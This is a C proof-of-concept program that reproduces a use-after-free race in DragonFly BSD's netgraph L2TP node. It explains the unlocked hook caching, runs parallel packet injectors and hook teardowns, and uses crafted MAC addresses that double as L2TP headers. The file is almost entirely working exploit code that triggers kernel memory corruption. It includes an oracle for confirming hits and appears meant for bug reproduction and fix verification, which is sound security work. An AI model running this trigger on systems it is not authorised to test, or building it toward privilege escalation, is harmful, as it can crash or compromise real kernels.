/*
 * DF-3495 PoC v4 — v1 ng_l2tp session-hook / hook-private use-after-free
 * =======================================================================
 * Target: sys/netgraph/l2tp/ng_l2tp.c (DragonFly v1 netgraph l2tp node)
 *
 * Bug: ng_l2tp_recv_lower() caches the session hook + hpriv from a lockless
 *      LIST_FOREACH over node->hooks (ng_l2tp.c:769-781) and dereferences /
 *      delivers through them later (861-882) with no reference and no lock,
 *      while ng_l2tp_disconnect() (661-664) kfree()s the hpriv (and the
 *      framework frees the hook struct) the moment an rmhook lands.
 *
 * Concurrency engineering (the hard part on DragonFly):
 *   - ng_socket (data or control) dispatches everything through cpu0's
 *     netisr port (socreate -> netisr_cpuport(0)); ng_ksocket's UDP socket
 *     also re-dispatches input on its so_port.  Those paths cannot race.
 *   - The lower hook fed by ng_eiface runs from the interface transmit
 *     path (ifq_dispatch -> ng_eiface_start -> NG_SEND_DATA) on netisr
 *     CPUs chosen by the packet flow hash — genuinely parallel with the
 *     cpu0-pinned rmhook processing of the ngctl control socket.
 *   - The Ethernet header doubles as the L2TP header:
 *       dst MAC = 40:02:<len_hi>:<len_lo>:00:00
 *         -> l2tp hdr 0x4002 (LEN|V2), length field, tunnel id 0
 *       src MAC = 00:01:xx:xx:xx:xx
 *         -> session id 0x0001 (bytes 6-7 of the l2tp view)
 *     No SEQ bit => no duplicate-drop state machine.
 *
 * Oracle: injector only ever sends session id 0x0001; the teardown thread
 *      ping-pongs hooks session_0001<->s1 and session_0003<->s3.  Any
 *      packet received at the socket node from hook "s3" was delivered
 *      through a stale (freed-then-reallocated) cached hook pointer.
 *
 * Build:  cc -O2 -Wall -pthread -o l2tp_hook_uaf l2tp_hook_uaf.c
 * Run (root):    ./l2tp_hook_uaf [seconds] [injectors] [teardowns]
 * Needs: kldload ng_l2tp ng_eiface ng_socket
 */

#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <pthread.h>

#include <netgraph/ng_message.h>
#include <netgraph/socket/ng_socket.h>

/* ---------------- results ---------------- */
static volatile unsigned long n_sent, n_s1, n_s3, n_other, n_err;
static volatile unsigned long n_cycles, n_rm_fail, n_cn_fail, n_cn_ok;
static volatile int stop_flag;
static double t_hit_s3 = 0.0;

#define INJ_NODE	inj_node_name	/* unique per run (pid suffix) */
#define TO_L2_HOOK	"h_l2"
#define TUNNEL_ID	0x1234
/* frame geometry: 14 ether + 20 ip + 8 udp + 100 data = 142 bytes */
#define DATA_LEN	100
#define FRAME_LEN	142
#define DST_IP		"10.99.0.1"
#define SRC_IP		"10.99.0.2"

static char inj_node_name[24];

struct ng_mesg_k {
	struct {
		u_char  version;
		u_char  spare;
		u_int16_t arglen;
		u_int32_t flags;
		u_int32_t token;
		u_int32_t typecookie;
		u_int32_t cmd;
		u_char  cmdstr[32];
	} header;
	char data[1024];
};

static u_int32_t tok = 0x1000;

#define GENERIC_COOKIE_K	851672668u
#define NGM_MKPEER_K		2u
#define NGM_CONNECT_K		3u
#define NGM_NAME_K		4u
#define NGM_RMHOOK_K		5u
#define NGM_L2TP_COOKIE_K	1011392401u
#define NGM_L2TP_SET_CONFIG_K	1u

/* local struct copies matching the kernel headers */
struct mkp_k   { char type[32]; char ourhook[32]; char peerhook[32]; };
struct cnt_k   { char path[512]; char ourhook[32]; char peerhook[32]; };
struct rmh_k   { char ourhook[32]; };
struct name_k  { char name[32]; };
struct cfgk    {
	u_char   enabled, match_id;
	u_int16_t tunnel_id, peer_id, peer_win, rexmit_max, rexmit_max_to;
};

static int
ng_open_ctl(void)
{
	return socket(AF_NETGRAPH, SOCK_DGRAM, NG_CONTROL);
}

static int
ng_send_generic(int fd, const char *path, u_int32_t cookie, u_int32_t cmd,
    const void *arg, size_t arglen)
{
	struct sockaddr_ng sg;
	struct ng_mesg_k m;
	static char rbuf[2048];

	memset(&m, 0, sizeof(m));
	m.header.version = NG_VERSION;
	m.header.arglen = arglen;
	m.header.token = ++tok;
	m.header.typecookie = cookie;
	m.header.cmd = cmd;
	if (arglen)
		memcpy(m.data, arg, arglen);
	memset(&sg, 0, sizeof(sg));
	sg.sg_len = 3;
	sg.sg_family = AF_NETGRAPH;
	if (path && *path) {
		strcpy(sg.sg_data, path);
		sg.sg_len = 3 + strlen(path);
	}
	if (sendto(fd, &m, sizeof(m.header) + arglen, 0,
	    (struct sockaddr *)&sg, sg.sg_len) < 0)
		return (-1);
	(void)recv(fd, rbuf, sizeof(rbuf), MSG_DONTWAIT);
	return (0);
}

/* send a control message and return the (first 32 bytes of) its reply */
static int
ng_send_getreply(int fd, const char *path, u_int32_t cookie, u_int32_t cmd,
    void *reply, size_t replysz)
{
	struct sockaddr_ng sg;
	struct ng_mesg_k m;
	static char rbuf[2048];
	int n;

	memset(&m, 0, sizeof(m));
	m.header.version = NG_VERSION;
	m.header.token = ++tok;
	m.header.typecookie = cookie;
	m.header.cmd = cmd;
	memset(&sg, 0, sizeof(sg));
	sg.sg_len = 3;
	sg.sg_family = AF_NETGRAPH;
	if (path && *path) {
		strcpy(sg.sg_data, path);
		sg.sg_len = 3 + strlen(path);
	}
	if (sendto(fd, &m, sizeof(m.header), 0,
	    (struct sockaddr *)&sg, sg.sg_len) < 0)
		return (-1);
	n = recv(fd, rbuf, sizeof(rbuf), 0);
	if (n < 40)
		return (-1);
	memcpy(reply, ((struct ng_mesg_k *)rbuf)->data, replysz);
	return (0);
}

/* ---------------- injector: UDP out the eiface ---------------- */

static void *
injector(void *arg)
{
	struct sockaddr_in dst;
	unsigned char data[DATA_LEN];
	static int pool[64];
	static int npool;
	int pool_i = 0;
	int s;

	(void)arg;
	if (npool == 0) {
		for (int k = 0; k < 64; k++) {
			pool[k] = socket(AF_INET, SOCK_DGRAM, 0);
			if (pool[k] < 0) { perror("udp socket"); return (NULL); }
		}
		npool = 64;
	}
	memset(data, 0x41, sizeof(data));
	data[0] = 'D'; data[1] = 'F'; data[2] = '3'; data[3] = '4';
	data[4] = '9'; data[5] = '5';

	memset(&dst, 0, sizeof(dst));
	dst.sin_family = AF_INET;
	dst.sin_port = htons(9);
	dst.sin_addr.s_addr = inet_addr(DST_IP);

	while (!stop_flag) {
		s = pool[pool_i++ & 63];
		if (sendto(s, data, sizeof(data), 0,
		    (struct sockaddr *)&dst, sizeof(dst)) < 0)
			n_err++;
		else
			n_sent++;
	}
	return (NULL);
}

/* ---------------- teardown: ping-pong session hooks ---------------- */

static void *
teardown(void *arg)
{
	int c;
	struct rmh_k rm;
	struct cnt_k cn;
	char l2path[64];
	int i = 0;

	(void)arg;
	snprintf(l2path, sizeof(l2path), "%s:%s", INJ_NODE, TO_L2_HOOK);
	c = ng_open_ctl();
	if (c < 0) {
		perror("teardown: ctl socket");
		return (NULL);
	}

	while (!stop_flag) {
		const char *live = (i & 1) ? "session_0003" : "session_0001";
		const char *peer = (i & 1) ? "s3" : "s1";
		const char *dead = (i & 1) ? "session_0001" : "session_0003";

		memset(&rm, 0, sizeof(rm));
		strcpy(rm.ourhook, dead);
		if (ng_send_generic(c, l2path, GENERIC_COOKIE_K, NGM_RMHOOK_K,
		    &rm, sizeof(rm)) < 0)
			n_rm_fail++;

		memset(&cn, 0, sizeof(cn));
		strcpy(cn.path, "ctrl");	/* from L cross ctrl -> injN */
		strcpy(cn.ourhook, live);
		strcpy(cn.peerhook, peer);
		if (ng_send_generic(c, l2path, GENERIC_COOKIE_K, NGM_CONNECT_K,
		    &cn, sizeof(cn)) < 0)
			n_cn_fail++;
		else
			n_cn_ok++;
		i++;
		n_cycles++;
	}
	close(c);
	return (NULL);
}

/* ---------------- main ---------------- */

int
main(int argc, char **argv)
{
	int runtime = (argc > 1) ? atoi(argv[1]) : 60;
	int n_inj = (argc > 2) ? atoi(argv[2]) : 4;
	int n_td = (argc > 3) ? atoi(argv[3]) : 2;
	int c, d;
	struct name_k nm;
	struct mkp_k mk;
	struct cnt_k cn;
	struct cfgk cfg;
	pthread_t th[32], td[16];
	int n_th = 0, n_tdth = 0;
	static char buf[256 * 1024];
	struct sockaddr_ng from;
	struct timeval tv0, tv1, now;
	char l2path[64], cmd[256];
	char ifname[40];
	char mac[24];

	gettimeofday(&tv0, NULL);
	setvbuf(stdout, NULL, _IONBF, 0);
	snprintf(inj_node_name, sizeof(inj_node_name), "inj%d", (int)getpid());
	snprintf(l2path, sizeof(l2path), "%s:%s", INJ_NODE, TO_L2_HOOK);

	c = ng_open_ctl();
	if (c < 0) { perror("control socket"); exit(1); }

	/* name our control node */
	memset(&nm, 0, sizeof(nm));
	strcpy(nm.name, INJ_NODE);
	if (ng_send_generic(c, "", GENERIC_COOKIE_K, NGM_NAME_K,
	    &nm, sizeof(nm)) < 0) { perror("name"); exit(1); }

	/* 1) mkpeer l2tp:  injN:h_l2 <-> L:ctrl  (ctrl hook is unused) */
	memset(&mk, 0, sizeof(mk));
	strcpy(mk.type, "l2tp");
	strcpy(mk.ourhook, TO_L2_HOOK);
	strcpy(mk.peerhook, "ctrl");
	if (ng_send_generic(c, "", GENERIC_COOKIE_K, NGM_MKPEER_K,
	    &mk, sizeof(mk)) < 0) { perror("mkpeer l2tp"); exit(1); }

	/* 2) mkpeer eiface from L:  L:lower <-> E:ether */
	memset(&mk, 0, sizeof(mk));
	strcpy(mk.type, "eiface");
	strcpy(mk.ourhook, "lower");
	strcpy(mk.peerhook, "ether");
	if (ng_send_generic(c, l2path, GENERIC_COOKIE_K, NGM_MKPEER_K,
	    &mk, sizeof(mk)) < 0) { perror("mkpeer eiface"); exit(1); }

	/* 3) get the eiface interface name */
	{
		struct { char name[32]; } ifn;
		char epath[80];
		snprintf(epath, sizeof(epath), "%s.lower", l2path);
		if (ng_send_getreply(c, epath, 948105892u /*NGM_EIFACE_COOKIE*/,
		    1 /*NGM_EIFACE_GET_IFNAME*/, &ifn, sizeof(ifn)) < 0) {
			perror("get ifname"); exit(1);
		}
		ifn.name[sizeof(ifn.name) - 1] = '\0';
		snprintf(ifname, sizeof(ifname), "%s", ifn.name);
	}
	printf("eiface interface: %s\n", ifname);

	/* 4) configure the interface so the crafted Ethernet header appears
	 *    as a valid L2TP data header (see top comment) */
	snprintf(mac, sizeof(mac), "00:01:02:03:04:05");	/* sid 0x0001 */
	snprintf(cmd, sizeof(cmd),
	    "ifconfig %s ether %s up >/dev/null 2>&1", ifname, mac);
	if (system(cmd) != 0) printf("warning: ifconfig ether failed\n");
	snprintf(cmd, sizeof(cmd),
	    "ifconfig %s %s/32 %s >/dev/null 2>&1", ifname, SRC_IP, DST_IP);
	if (system(cmd) != 0) { printf("warning: ifconfig addr failed\n"); exit(1); }
	snprintf(cmd, sizeof(cmd),
	    "arp -s %s 40:02:%02x:%02x:00:00 >/dev/null 2>&1",
	    DST_IP, (FRAME_LEN >> 8) & 0xff, FRAME_LEN & 0xff);
	if (system(cmd) != 0) printf("warning: arp -s failed\n");
	snprintf(cmd, sizeof(cmd),
	    "route add -host %s %s -static >/dev/null 2>&1", DST_IP, SRC_IP);
	system(cmd);

	/* 5) enable the l2tp node */
	memset(&cfg, 0, sizeof(cfg));
	cfg.enabled = 1;
	cfg.match_id = 0;
	cfg.tunnel_id = TUNNEL_ID;
	cfg.peer_id = 0x4321;
	cfg.peer_win = 4;
	cfg.rexmit_max = 5;
	cfg.rexmit_max_to = 30;
	if (ng_send_generic(c, l2path, NGM_L2TP_COOKIE_K,
	    NGM_L2TP_SET_CONFIG_K, &cfg, sizeof(cfg)) < 0) {
		perror("setconfig"); exit(1);
	}

	/* 6) initial session hook: injN:s1 <-> L:session_0001 */
	memset(&cn, 0, sizeof(cn));
	strcpy(cn.path, TO_L2_HOOK);
	strcpy(cn.ourhook, "s1");
	strcpy(cn.peerhook, "session_0001");
	if (ng_send_generic(c, "", GENERIC_COOKIE_K, NGM_CONNECT_K,
	    &cn, sizeof(cn)) < 0) { perror("connect sess_0001"); exit(1); }

	/* 7) sink data socket bound to node injN */
	d = socket(AF_NETGRAPH, SOCK_DGRAM, NG_DATA);
	if (d < 0) { perror("data socket"); exit(1); }
	{
		struct sockaddr_ng sg;
		int bufsz = 4 * 1024 * 1024;
		struct timeval tvto;
		setsockopt(d, SOL_SOCKET, SO_RCVBUF, &bufsz, sizeof(bufsz));
		tvto.tv_sec = 0;
		tvto.tv_usec = 100000;
		setsockopt(d, SOL_SOCKET, SO_RCVTIMEO, &tvto, sizeof(tvto));
		memset(&sg, 0, sizeof(sg));
		snprintf(sg.sg_data, 32, "%s:", INJ_NODE);
		sg.sg_len = 3 + strlen(sg.sg_data);
		sg.sg_family = AF_NETGRAPH;
		if (connect(d, (struct sockaddr *)&sg, sg.sg_len) < 0) {
			perror("connect data socket"); exit(1);
		}
	}

	printf("DF-3495: graph up (%s:h_l2=l2tp:ctrl, l2tp:lower=eiface:%s)\n",
	    INJ_NODE, ifname);
	printf("frame: dst=40:02:%02x:%02x:00:00 src=00:01:02:03:04:05 "
	    "(L2TP hdr 0x4002, tid 0, sid 0x0001)\n",
	    (FRAME_LEN >> 8) & 0xff, FRAME_LEN & 0xff);
	printf("runtime=%ds injectors=%d teardowns=%d\n", runtime, n_inj, n_td);
	printf("oracle: any packet received from hook \"s3\" == UAF hit "
	    "(injector only ever sends session id 0x0001)\n");

	for (int i = 0; i < n_inj; i++)
		pthread_create(&th[n_th++], NULL, injector, NULL);
	for (int i = 0; i < n_td; i++)
		pthread_create(&td[n_tdth++], NULL, teardown, NULL);

	/* sink: tally packets by source hook */
	while (!stop_flag) {
		socklen_t flen = sizeof(from);
		ssize_t n;

		n = recvfrom(d, buf, sizeof(buf), 0,
		    (struct sockaddr *)&from, &flen);
		if (n < 0) {
			gettimeofday(&now, NULL);
			if (now.tv_sec - tv0.tv_sec >= runtime)
				stop_flag = 1;
			continue;
		}
		if (flen >= 4 && strcmp(from.sg_data, "s1") == 0)
			n_s1++;
		else if (flen >= 4 && strcmp(from.sg_data, "s3") == 0) {
			if (n_s3 == 0) {
				gettimeofday(&now, NULL);
				t_hit_s3 = now.tv_sec - tv0.tv_sec +
				    (now.tv_usec - tv0.tv_usec) / 1e6;
				printf("*** UAF HIT: packet for session 0x0001 "
				    "delivered via hook \"s3\" (freed+"
				    "reallocated hook) after %.3fs "
				    "payload=%02x%02x%02x%02x\n",
				    t_hit_s3, buf[0] & 0xff, buf[1] & 0xff,
				    buf[2] & 0xff, buf[3] & 0xff);
			}
			n_s3++;
		} else
			n_other++;

		gettimeofday(&now, NULL);
		if (now.tv_sec - tv0.tv_sec >= runtime)
			stop_flag = 1;
	}

	for (int i = 0; i < n_th; i++)
		pthread_join(th[i], NULL);
	for (int i = 0; i < n_tdth; i++)
		pthread_join(td[i], NULL);

	gettimeofday(&tv1, NULL);
	printf("\n=== DF-3495 results after %.1fs ===\n",
	    tv1.tv_sec - tv0.tv_sec + (tv1.tv_usec - tv0.tv_usec) / 1e6);
	printf("udp injected : %lu (send errors: %lu)\n", n_sent, n_err);
	printf("delivered s1 : %lu (normal path)\n", n_s1);
	printf("delivered s3 : %lu  <== UAF HITS (must be 0 on a fixed kernel)\n",
	    n_s3);
	printf("delivered ?  : %lu (unexpected sources)\n", n_other);
	printf("teardown cycles: %lu (rm fail: %lu, connect ok: %lu, fail: %lu)\n",
	    n_cycles, n_rm_fail, n_cn_ok, n_cn_fail);

	if (n_s3 > 0) {
		printf("VERDICT: REPRODUCED — stale session-hook delivery "
		    "(use-after-free, cross-session misdelivery)\n");
		exit(0);
	}
	printf("VERDICT: no s3 delivery observed this run\n");
	exit(3);
}
